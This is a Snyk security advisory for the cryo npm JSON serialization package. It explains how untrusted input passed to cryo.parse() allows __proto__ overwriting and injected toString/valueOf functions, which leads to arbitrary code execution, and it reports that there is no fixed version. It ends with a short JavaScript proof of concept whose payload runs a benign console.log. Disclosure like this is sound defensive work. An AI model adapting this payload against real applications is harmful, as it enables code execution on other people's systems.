Arbitrary Code Execution Affecting cryo package, versions *


0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Mature
    EPSS 0.25% (64th percentile)
Expand this section
NVD
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID npm:cryo:20180619
  • published 24 Jun 2018
  • disclosed 8 Feb 2017
  • credit Alexey Tyurin

How to fix?

There is no fix version for cryo

Overview

cryo is a json parser.

Affected versions of this package are vulnerable to Arbitrary Code Execution when untrusted user-input is passed into the cryo.parse() function.

cryo is used to deserialize JSON files into an object by useing square bracket notation ( obj[key]=value ) and interacts with the object later in the code (to convert to string, for example). Given that the JSON is controlled by user input, an attacker may be able to change the __proto__ property for a new object.

cryo also serialization of functions, so the attacker can set their own methods (toString, valueOf) for the new object. If the application interacts later on with the new object in a way which leads to invocation of the object's prototype functions, the attacker's malicious code would execute.

PoC:

var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);